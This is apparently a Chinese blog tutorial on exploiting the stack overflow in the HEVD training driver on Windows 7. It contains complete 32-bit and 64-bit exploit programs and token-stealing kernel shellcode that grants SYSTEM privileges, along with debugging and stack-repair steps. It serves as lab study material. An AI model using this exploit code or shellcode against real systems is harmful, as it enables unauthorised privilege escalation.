WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

BufferOverflowStack

之前学了一下CVE-2014-4113的exp,想了想还是先来学习一下内核提权的靶场吧

0x01 工具下载

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

HEVD源码和exp

https://docs.microsoft.com/en-us/sysinternals/downloads/debugview

用于查看内核输出的

还有一些常用的:

驱动加载的工具,这个各位师傅可以按照喜好下载,有很多

IDA6.8

windbg 建议不要用预览版,有点坑,老版本除了UI不好看别的都还可以的

0x02 安装HEVD

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

这里包含着HEVD的源码,和所有漏洞的exp,不过exp只有32位的

编译好的HEVD可以在release中下载

这里用的32位和64位系统都是windows7,关于双机调试的配置可以去看CVE-2014-4113的那篇文章

系统镜像也是相同的

下载好驱动后使用驱动加载的工具将HEVD加载就可以

注意驱动的位数要对应系统的位数,位数不同会加载失败

驱动加载的工具我用的是InstDrv

这里先用32位的演示一下

debugview和InstDrv都需要以管理员身份打开

这些选项要打开

在安装->启动后debugview输出这些就表示加载成功了

下面可以开始溢出了

0x03 栈溢出

这里可以使用pattern_create.rb生成溢出字符找到偏移

这个文件kali自带

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb

可以复制到根目录

1
./pattern_create.rb -l 3000

生成一堆字符串

逆向一下可以看到控制码为0x222003

关于控制码准备再起一篇文章写

那么先写一个测试的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <Windows.h>

void main(char* argc, char* argv[])
{
char* Buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah....................";
HANDLE hDevice;
DWORD dwRet = 0;

hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("[-] GetDriver fail!\n");
return;
}
printf("[+] GetDriver Success!\n");

DeviceIoControl(hDevice, 0x222003, Buffer, strlen(Buffer), NULL, 0, &dwRet, 0);
}

然后配置一下windbg

先把HEVD.sys加载了

然后将HEVD的符号表放入存符号表的文件夹

这里最好是创建一个新的文件夹

1
2
3
.sympath d:\symbolsss;srv*D:\symbolsss*https://msdl.microsoft.com/download/symbols
//HEVD.pdb放入d:\symbolsss
.reload

有点坑的windbg重启之后不知道为什么就加载不到HEVD.pdb了,又要重新整一次

1
x HEVD!*		//查看驱动所有函数

然后找到这次的漏洞点打上断点

1
ba e1 HEVD!TriggerBufferOverflowStack

在windows7中执行上面的测试程序

走到断点然后一直F10走到ret

可以看到走到了72433372地址

1
./pattern_offset.rb -q 72433372 -l 3000

得到溢出的偏移是2080

这时候就可以重新构造exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <Windows.h>

void GetSystemToken() {
__asm {
pushad; 保存寄存器

xor eax, eax ; eax置零
mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax ; 将本进程EPROCESS地址复制到ecx
mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID; 循环检测是否是SYSTEM进程PID

mov edx, [eax + 0f8h]; 获取System进程的Token
mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token

popad; 恢复寄存器

xor eax, eax; eax置零
add esp, 12
pop ebp
ret 8
}

}



void main(char* argc, char* argv[])
{
char Buffer[2084];
HANDLE hDevice;
DWORD dwRet = 0;

hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("[-] GetDriver fail!\n");
return;
}
printf("[+] GetDriver Success!\n");

memset(Buffer, 'A', 2084);
*(PDWORD)(Buffer + 2080) = (DWORD)&GetSystemToken;

DeviceIoControl(hDevice, 0x222003, Buffer, 2084, NULL, 0, &dwRet, 0);
STARTUPINFOA si;
PROCESS_INFORMATION pi;

if (argv[1])
{
si = { 0 };
pi = { 0 };
si.cb = sizeof(si);
si.dwFlags = 1;
si.wShowWindow = 0;
CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, 0x10000);
}

}

这里主要还是参考跳跳糖的一篇文章,文章的网址放在最后

下面来看看exp

因为要覆盖的地址在2080之后所以要先创建一个2084的数组

CreateFileA得到驱动的句柄

memset用A填充Buffer

在2080之后的四字节改为指向提权函数的指针,也就是ret的位置

DeviceIoControl将Buffer复制到内核实现栈溢出

再来看看提权函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void GetSystemToken() {
__asm {
pushad; 保存寄存器

xor eax, eax ; eax置零
mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax ; 将本进程EPROCESS地址复制到ecx
mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID; 循环检测是否是SYSTEM进程PID

mov edx, [eax + 0f8h]; 获取System进程的Token
mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token

popad; 恢复寄存器

xor eax, eax; eax置零
add esp, 12
pop ebp
ret 8
}

}

这里注释基本都是那篇文章上的

其实和MS14-058差不多

遍历PID找到PID=4的System进程,把Token复制到当前进程实现提权

需要注意的就是最后堆栈平衡的步骤,怎么在溢出之后回到原来的EIP是关键

先来看一下调用栈

可以看到在进入TriggerBufferOverflowStack之前还要经过BufferOverflowStackIoctlHandler

其实这里是直接把BufferOverflowStackIoctlHandler的返回地址提上来了

正常来说应该是

1
2
3
4
5
IrpDeviceIoCtlHandler				调用BufferOverflowStackIoctlHandler
BufferOverflowStackIoctlHandler 调用TriggerBufferOverflowStack
TriggerBufferOverflowStack 返回BufferOverflowStackIoctlHandler
BufferOverflowStackIoctlHandler 返回IrpDeviceIoCtlHandler
IrpDeviceIoCtlHandler

提升堆栈后

1
2
3
4
5
IrpDeviceIoCtlHandler				调用BufferOverflowStackIoctlHandler
BufferOverflowStackIoctlHandler 调用TriggerBufferOverflowStack
TriggerBufferOverflowStack 返回IrpDeviceIoCtlHandler
直接跳过BufferOverflowStackIoctlHandler
IrpDeviceIoCtlHandler

先观察BufferOverflowStackIoctlHandler函数

可以看到最上面有push ebp

这也是最后提权函数pop ebp恢复的值

下面的push是参数然后call TriggerBufferOverflowStack

再来看看提权函数在内存中的样子

可以看到在最上面多了几个push,这几个push在__asm中没有写

说明是编译器自动添加的,看来__asm的汇编也不是和看到的完全一样

这也是最后需要add esp,12的原因,要把这多的push去掉

第一个箭头就是前面push ebp的值,pop回来恢复ebp

第二个箭头也就是后面的ret要跳到的地址是call BufferOverflowStackIoctlHandler的下一条汇编语句

第三个箭头就是TriggerBufferOverflowStack的参数Address和size_t

用ret 8将参数拿出去,这样至少栈顶是平衡了

这里再多说一点,本来ebp是正常的,因为在TriggerBufferOverflowStack的最后出现了leave

1
2
3
leave等价于
mov esp,ebp
pop ebp

此时栈里面已经都是A了,这么执行后ebp就变成41414141了

这也就是要pop ebp的原因了

64位就么有这种问题了

其实到这里32位的已经差不多了,感觉32位的难点就在堆栈平衡这里,别的就是普通的栈溢出

其实细心的师傅也应该发现了,pop的ebp肯定和正常的ebp不一样的只能说勉强能用了

因为有些时候实在不能完美恢复堆栈啊寄存器这些所以内核提权导致蓝屏也是没办法的

不要多用会好一点,你也不知道哪次用了内核就炸了

这里再多提一种看溢出位置方法,直接ida看缓冲区

可以看到缓冲区是-81c到-1c是0x800字节,return在正4

81c+4=820,所以0x820后面的四字节是返回地址

不过这种想用啥就用啥了也没事

0x04 x64

x64用的fastcall堆栈稍微友好一点

不过要编写exp只能用单独的汇编文件了

需要注意一下64位的指针是8字节的

这里偷懒直接用ida看了

缓冲区到return是0x818字节

指针是8字节所以0x818后面的8字节是ret地址

需要一个0x820的Buffer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <Windows.h>

extern "C" void GetSystemToken();

void main(char* argc, char* argv[])
{
char Buffer[0x820];
HANDLE hDevice;
DWORD dwRet = 0;

hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("[-] GetDriver fail!\n");
return;
}
printf("[+] GetDriver Success!\n");
printf("[+] Token:%p\n", &GetSystemToken);
memset(Buffer, 'A', 0x820);
*(PINT64)(Buffer + 0x818) = (INT64)&GetSystemToken;
DeviceIoControl(hDevice, 0x222003, Buffer, 0x820, NULL, 0, &dwRet, 0);
STARTUPINFOA si;
PROCESS_INFORMATION pi;

if (argv[1])
{
si = { 0 };
pi = { 0 };
si.cb = sizeof(si);
si.dwFlags = 1;
si.wShowWindow = 0;
CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, 0x10000);
}


}

提权函数需要汇编来写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.DATA		;数据段
.CODE ;代码段
GetSystemToken PROC ;定义函数,函数名和cpp文件内声明函数一样


push rax
push rcx
push rdx ;保存寄存器

xor rax, rax
mov rax, gs: [rax + 188h]; 获取 nt!_KPCR.PcrbData.CurrentThread
mov rax, [rax + 070h]; 获取 nt!_KTHREAD.ApcState.Process
mov rcx, rax; 将本进程EPROCESS地址复制到rcx
mov rdx, 4;

SearchSystemPID:
mov rax, [rax + 0188h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 0188h
cmp [rax + 0180h], rdx; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID; 循环检测是否是SYSTEM进程PID

mov rdx, [rax + 0208h]; 获取System进程的Token
mov[rcx + 0208h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token

pop rdx ;恢复寄存器
pop rcx
pop rax


add rsp, 40 ; 恢复堆栈
xor rax, rax ; 返回状态 SUCCEESS
ret ;`
GetSystemToken ENDP;
END

除了寄存器不一样还有结构的偏移有区别,还有64位中无pushad函数,所以只能把需要用到的寄存器push进去最后在pop出来

64位写汇编可以参考RtlReportSilentProcessExit dump Lsass.exe这篇文章

堆栈平衡可以执行了之后看了再说

可以看到要返回的地址在esp+0x28的位置

因为前面也没有leave不需要修复rbp所以直接把加就好

同时因为fastcall的原因ret也不要去掉参数,因为参数都在寄存器

多的也没什么好说的了

其实这种东西最好还是复现一下

第一眼看到汇编的时候感觉懂了,在真正调的时候还是有很多疑问的,像堆栈平衡啥的看看可以很清晰

源码都传github了

https://github.com/Macchiatosheep/HEVD/tree/main/TriggerBufferOverflowStack

0x05 参考

https://tttang.com/archive/1332/

https://www.kn0sky.com/?p=184